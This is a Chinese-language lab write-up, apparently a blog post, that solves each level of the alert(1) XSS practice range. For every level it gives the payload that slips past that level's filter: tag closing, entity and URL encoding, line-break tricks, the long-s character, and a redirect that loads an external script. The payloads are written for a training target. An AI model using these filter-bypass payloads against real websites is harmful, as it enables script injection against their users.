当前位置:网站首页>alert(1) (haozi.me)靶场练习
alert(1) (haozi.me)靶场练习
2022-07-31 12:19:00 【共黄昏】
XSS靶场练习
靶场链接:
0x00
送分题,这道题服务器没有对输入进行过滤,输入代码:
<script>alert(1)</script>
0x01
因为<textarea>
为RCDATA元素,在<textarea>
中的内容不会有脚本执行,仅仅将其作为普通文本显示,所以需要进行闭合绕过处理。
playload:
</textarea><script>alert(1)</script>
或
</textarea><script>alert(1)</script><textarea>
textarea 一般是用来接收用户输入,用于提交到服务器端,例如 网站的评论框。如果此框也用于显示服务器端回传的内容,即使将html代码段插入textarea, html代码段不会执行, 仅仅将其作为普通文本显示。
在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea>或<title>
的内容中),唯一能够被解析器认做是标签的就是</textarea>或者</title>
。
因此,在<textarea>和<title>
的内容中不会创建标签,就不会有脚本能够执行。
0x02
采用标签闭合的方式
playload:
"><script>alert(1)</script>
0x03
过滤括号()
playload:
<script>alert`1`</script>
0x04
过滤了括号和反引号,采用实体编码的方式绕过
playload:
<img src='0' onerror="alert(1)">
0x05
有注释,通过闭合开头的注释,进行绕过
playload:
--!><img src='0' onerror="alert(1)">
0x06
将 auto,on事件(如,οnclick=,onerror等)以及> 不区分大小写替换为 ‘_’
利用html不同行也能执行命令,换行处理绕过过滤机制
playload:
type="image" src=0 onerror
=alert(1)
0x07
将<>中的内容不区分大小写替换为空
html在解析中有一种纠错机制,img标签不写后面的“>”仍然是可以正常执行的
playload:
<img src=1 onerror='alert(1)'
0x08
将不区分大小写替换为/* \u574F\u4EBA */
利用html中不同行执行的特点,进行闭合
playload:
</style
>
<script>alert(1)</script>
0x09
playload中必须要有https://www.segmentfault.com
这个网址
通过标签闭合以及注释的方式进行绕过
playload:
https://www.segmentfault.com"></script><script>alert(1)//
或
https://www.segmentfault.com"></script><script>alert(1)
-->
0x0A
在0x09关的基础上将&、'、"、<、>、\
等字符转换为实体编码
采用重定向的方式进行绕过,由于不同的浏览器可能会有保护机制,所以本关可能不会显示成功。
playload:
https://www.segmentfault.[email protected]127.0.0.1/a.js
a.js文件内容:
<script>alert(1)</script>
0x0B
将输入的内容转为大写
在html中语句是不区分大小写的,但在js中语句是严格区分大小写的,标签中的alert函数是js解析,所以需要对alert进行编码,采用实体编码
playload:
<img src=1 onerror="alert(1)">
方法二:
采用a标签,通过url编码绕过大写,点击 A这个链接进行触发
playload:
<a href="javascript:%61%6c%65%72%74%28%31%29">a
0x0C
将script不区分大小写进行替换,并将输入的内容转为大写
方法一:
采用img标签,实体编码的方式再次绕过
playload:
<img src=1 onerror="alert(1)">
方法二:
采用a标签,实体编码绕过script的过滤,url编码绕过大写,点击链接的进行触发
playload:
<a href="javascript:%61%6c%65%72%74%28%31%29">b
0x0D
将< / " '
替换为空,并且对输入的内容进行注释
通过换行并注释的方式成功绕过
playload:
alert(1)
-->
0x0E
将<abc>
中排在第一个的字母(a-z,A-Z),无论大小写都替换为 _
,即<abc>
替换为<_bc>
在html中ſ
这个字符通过大写可以转换为S,并且在html中是不区分大小写的。
使用svg标签成功绕过。
playload:
<ſvg/onload='alert(1)'>
0x0F
将特殊字符转换为html实体编码放入img标签中的onerror事件中
解体思路:因为处于html标签中,单引号 '
的实体编码是能识别的,并且()并没有被过滤。在HTML中程序可以不同行执行,通过闭合以及换行成功绕过。
playload:
')
alert(1)
('
0x10
送分题,直接 alert(1)
pladload:
alert(1)
0x11
将需要特殊字符进行了转义替换,但是他只是将\进行了转义,也就是说\\"
第一个\
将第二个\
进行了转义,但是"
还是原来的"
因为是var参数变量,所以需要先闭合,然后通过逗号,
隔开。
playload:
"),alert(1)("
或
%22),alert(1)(%22
0x12
将"
替换为\\”
playload:
\");
alert(1);
-->
或
\"),alert(1);//
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-QnTVJlng-1659036596848)(F:/Typora/Typora_img/image-20220729032447368.png)]
这种不会执行成功,因为\
将"
进行了转义,不再具有"的功能,所以执行失败
边栏推荐
- 关于==和equals的区别和联系,面试这么回答就可以
- 想吃菌子,当然是自己上山找了
- JS列表数据通过递归实现树形结构
- WebGL给Unity传递参数问题1: Cannot read properties of undefined (reading ‘SendMessage‘)
- 分布式监视 Zabbix 和 Prometheus 到底怎么选?千万别用错了!
- JVS开发套件产品定位
- 基于生物激励神经网络的室内实时激光SLAM控制方法
- Full GC (Ergonomics)排查分析
- Different lower_case_table_names settings for server (‘1‘) and data dictionary (‘0‘) 解决方案
- How to correctly write the binary stream of the file returned by the server to the local file and save it as a file
猜你喜欢
The 2nd activity of the TOGAF10 Standard Reading Club continues wonderfully, and the highlights will be reviewed!
Docker installs canal and mysql for simple testing and achieves cache consistency between redis and mysql
多线程学习笔记-2.final关键字和不变性
JVS轻应用的组成与配置
kernel syscore
JVS应用中心
Service discovery of kubernetes
Shengxin Weekly Issue 38
Is the working process of the belt you know the story - actionreducerstore
The item 'node.exe' was not recognized as the name of a cmdlet, function, script file, or runnable program.
随机推荐
JVS轻应用的组成与配置
Fully Dynamically Constrained Robot Efficient Time-Optimal Trajectory Planning
认知—运动康复医疗机器人应用设计
How MySQL's allowMultiQueries flag relates to JDBC and jOOQ
Basic use of dosbox [easy to understand]
Addition logic for SAP Commerce Cloud Product Review
使用 Excel 读取 SAP ABAP CDS View 通过 ODBC 暴露出来的数据
学习爬虫之Scrapy框架学习(1)---Scrapy框架初学习及豆瓣top250电影信息获取的实战!
AMBA APB学习记录(AMBA 3/4)
小试牛刀—猜数字游戏
Build a Valentine's Day confession website (super detailed process, package teaching package)
Standard SQL/JSON - the sobering part
手撕Verilog PWM呼吸灯
log4j2的使用
想吃菌子,当然是自己上山找了
榕树贷款GPU 硬件架构
Structural controllability of switched linear systems with symmetry constraints
MySql模糊查询大全
ESP8266-Arduino编程实例-MCP9808数字温度传感器驱动
JVM 运行时数据区与JMM 内存模型详解